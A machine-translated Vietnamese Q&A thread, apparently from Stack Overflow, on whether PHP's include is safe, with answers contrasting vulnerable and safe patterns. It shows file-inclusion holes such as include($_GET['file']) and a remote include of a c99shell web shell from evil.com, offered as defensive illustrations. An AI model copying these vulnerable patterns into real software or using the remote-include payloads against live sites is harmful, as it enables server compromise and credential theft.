2012-04-13 38 views
7

Tôi đang sử dụng chức năng "include" (e.x. "include 'header2.php'" hoặc "include 'class.users.php'") để thêm tiêu đề hoặc lớp phiên trong trang web của tôi. Tôi không thực sự nhớ ở đâu, nhưng tôi nghe nói rằng tin tặc lạm dụng, bằng cách nào đó, điều này "bao gồm", gửi trang giả mạo bao gồm hoặc một cái gì đó như thế. Vì vậy, về cơ bản tôi muốn biết những gì với "bao gồm" chức năng, làm thế nào tôi có thể bảo vệ nó, làm thế nào để họ lạm dụng nó và nếu có giải pháp tốt hơn cho những gì tôi đang tìm kiếm.PHP - Chức năng "bao gồm" có an toàn không?

Xin cảm ơn trước.

+0

Nếu một người có quyền truy cập vào mã PHP của bạn, họ đang ở trong máy chủ của bạn. Không có vấn đề gì trong việc bảo vệ thứ gì đó đã bị xâm phạm. Thay vào đó, hãy tập trung vào việc đóng các điểm vào bằng cách sửa chữa tất cả các lỗ hổng SQL injection của ứng dụng của bạn. – Blender

+0

Vấn đề là, tôi nghe nói rằng 'include' something.php "'là không an toàn hoặc có thể tấn công, cũng như tiêm SQL. Có đúng không? – user1327735

+0

Mọi thứ đều có thể khai thác nếu bạn sử dụng không chính xác. Miễn là bạn đang 'include'ing các tệp PHP tĩnh, bạn thực sự không có gì phải lo lắng về khu vực đó. – Blender

Trả lời

13

Tất cả phụ thuộc vào cách bạn triển khai. Nếu bạn đặt đường dẫn cụ thể, thì nó sẽ an toàn. Cuộc tấn công có thể xảy ra nếu bạn cho phép đầu vào của người dùng xác định đường dẫn tệp mà không cần vệ sinh hoặc kiểm tra.

không an toàn (Directory Traversal)

<?php 
include($_GET['file']); 
?> 

không an toàn (URL fopen - Nếu kích hoạt)

<?php 
include('http://evil.com/c99shell.php'); 
?> 

không an toàn

<?php 
include('./some_dir/' . $_GET['file']); 
?> 

một phần không an toàn (* file .php dễ bị tổn thương)

<?php 
include('./some_dir/' . $_GET['file'] . '.php'); 
?> 

an toàn (Mặc dù không chắc chắn lý do tại sao ai sẽ làm điều này.)

<?php 
$allowed = array(
    'somefile.php', 
    'someotherfile.php' 
); 

if (in_array(basename($_GET['file']), $allowed)) { 
    include('./includes/' . basename($_GET['file'])); 
} 
?> 

an toàn

<?php 
include('./includes/somefile.php'); 
?> 
+0

[this] (http://stackoverflow.com/a/599694/2302051) có an toàn không? – MahdiY

1

Bao gồm được an toàn miễn là bạn không:

  1. Bao gồm một tập tin từ xa như www.someoneelsesssite.com/something.php
  2. Bao gồm một tập tin từ một con đường mà đến từ các khách hàng. www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
  3. Bao gồm tệp từ một nguồn có thể bị nhiễm độc khác như cơ sở dữ liệu.

2 và 3 về mặt kỹ thuật có sự báo trước rằng nếu bạn không cho phép . hoặc / hay trên cửa sổ \ bạn có lẽ là tốt. Nhưng nếu bạn không biết tại sao, bạn không biết đủ về nó để mạo hiểm nó. Ngay cả khi bạn nghĩ rằng cơ sở dữ liệu chỉ đọc hoặc bảo mật khác, nó là khôn ngoan để không giả định rằng trừ khi bạn thực sự phải, mà là gần như không bao giờ.

Như câu trả lời của pp19dd chỉ ra. Nó cũng quan trọng là bạn đặt tên cho bao gồm của bạn với phần mở rộng .php. Nếu bạn đã đặt apache (hoặc bất kỳ máy chủ web nào bạn đang sử dụng) để phân tích cú pháp một loại tệp khác với PHP, thì điều đó cũng an toàn. Nhưng nếu bạn không biết chắc chắn, hãy sử dụng .php độc quyền.

+0

'open_basedir' hoạt động kỳ diệu. – Halcyon

+0

@FritsvanCampen đã đồng ý, nhưng theo nguyên tắc chung, tôi cố gắng trả lời chúng từ quan điểm rằng bất kỳ ai cần hỏi điều này, chưa sẵn sàng chấp nhận rủi ro của bất kỳ loại nào. Nếu bất kỳ phần nào của mã của bạn là 'ma thuật', bạn không nên chấp nhận rủi ro. (bởi phép thuật, tôi có nghĩa là nó hoạt động dựa trên một thợ cơ khí bạn không hiểu) – DampeS8N

2

Bao gồm thể bị lạm dụng nếu bạn làm điều gì đó như thế này:

include($_GET["page"]); 

và sau đó gọi URL:

myscript.php?page=index.php

kẻ tấn công sau đó có thể thay thế index.php cho hxxp://hackerz.ru/install_stuff.php và máy chủ của bạn sẽ sẵn sàng chạy nó.

include chính nó là hoàn toàn an toàn. Chỉ cần đảm bảo luôn xác thực/thoát khỏi đầu vào của bạn.

1

Điều tốt nhất cần làm là đảm bảo rằng trang bạn đang cố đưa vào tồn tại trước tiên. Các sơ hở bảo mật thực sự xuất hiện khi trang bao gồm của bạn được xử lý từ một số loại đầu vào của người dùng, chẳng hạn như biến URL. ?include=page.php Miễn là bạn thận trọng với những điều này, bạn sẽ ổn thôi.

if(is_file($file)) { 
    //other code, such as user verification and such should also go here 
    include $file; 
} 
else { die(); } 
+0

Điều này sẽ không bảo vệ bạn chống lại bất cứ điều gì. Tệp mật khẩu của bạn là một tệp, php.ini là một tệp, tất cả những điều mà những kẻ tấn công sẽ tìm thấy, là các tệp. – DampeS8N

+0

@ DampeS8N: Tôi không cố gắng ám chỉ rằng đây là điều duy nhất để làm, chỉ là nó là một bước trong tiến trình. Tôi cũng bao gồm một nhận xét về việc chèn mã khác, "xác minh người dùng và như vậy". Xác minh người dùng giúp đảm bảo rằng không có trang nhạy cảm "thành viên" nào được truy cập. Các mã khác có thể là một danh sách đen tập tin. Tôi không biết tại sao bạn downvoted câu trả lời của tôi khi câu trả lời của bạn chỉ là mơ hồ. – mseancole

+0

Những người không biết làm thế nào để bảo vệ chống lại các cuộc tấn công Traversal Directory không nên cố gắng bao gồm các tệp động dưới bất kỳ điều kiện nào. Câu trả lời của bạn cho thấy điều 'tốt nhất' bạn có thể làm là đảm bảo tệp tồn tại. Thông tin bảo mật liên quan không mơ hồ, nó vắng mặt. Tôi đã không downvote bạn làm tổn thương bạn, và tôi sẽ undownvote nếu bạn thêm các thông tin cần thiết. Và loại bỏ câu trả lời của bạn về câu trả lời của tôi hoặc để lại nhận xét về những gì bạn cho là mơ hồ. – DampeS8N

3

Vấn đề lớn nhất với bao gồm có khả năng thay đổi filename mở rộng từ PHP để cái gì đó không được tự động thực hiện bởi các máy chủ web. Ví dụ: library.inc hoặc config.inc. Gọi các tệp này bằng trình duyệt web sẽ tiết lộ mã thay vì thực thi nó - và mọi mật khẩu hoặc gợi ý có thể khai thác sẽ được hiển thị.

So sánh config.php có thể có mật khẩu trong đó với config.inc. Kéo lên config.inc trong hầu hết các trường hợp sẽ cho thấy mật khẩu cơ sở dữ liệu là gì.

Có những lập trình viên sử dụng phần mở rộng .inc cho thư viện. Tiền đề là chúng sẽ không nằm trong một thư mục có thể truy cập bởi một máy chủ web. Tuy nhiên, ít lập trình an ninh hoang tưởng có thể đổ tập tin đó vào một thư mục web thuận tiện.

Nếu không, hãy đảm bảo rằng bạn không bao gồm tệp được chuỗi truy vấn gửi bằng cách nào đó. Ví dụ: include($_GET['menu_file']) < - điều này rất sai.

+0

+1 Lưu ý tốt về các phần mở rộng tệp có thể được bao gồm dưới dạng mã, nhưng khi được tải riêng trong trình duyệt sẽ hiển thị mã của bạn. – DampeS8N

+0

Bạn có ý gì khi "gọi những tệp này bằng trình duyệt web"? Giả sử bạn có một máy chủ có tên công khai "example.com". (1) Nếu ai đó biết có một tập tin trong thư mục gốc được gọi là "a.inc", họ có thể xem nó bằng "http: // example.com/a.inc'" không? (2) Nếu họ không biết tệp .inc tồn tại trong một thư mục cụ thể, họ sẽ tìm ra cách nào? – Alan

2

Bất kỳ mặt nào của máy chủ (giả sử máy chủ của bạn không bị xâm phạm) đều an toàn. Làm điều này:

$var = $_GET['var']';  
include $var . ".php"; 

không an toàn.

include "page.php"; 

là an toàn.

+0

Lưu ý: Giả sử 'page.php' là an toàn. ;) –

+0

Chắc chắn, miễn là tệp được tham chiếu được tin cậy và bảo mật. – Blake

-1

Tôi đang sử dụng phương pháp này od.

<?php include (dirname(__FILE__).'/file.php'); 
+0

Tôi hy vọng rằng các công trình cho bạn nhưng vì lợi ích của một câu trả lời tốt hơn bạn thực sự có thể ** giải thích ** tại sao điều này hoạt động – jean

Các vấn đề liên quan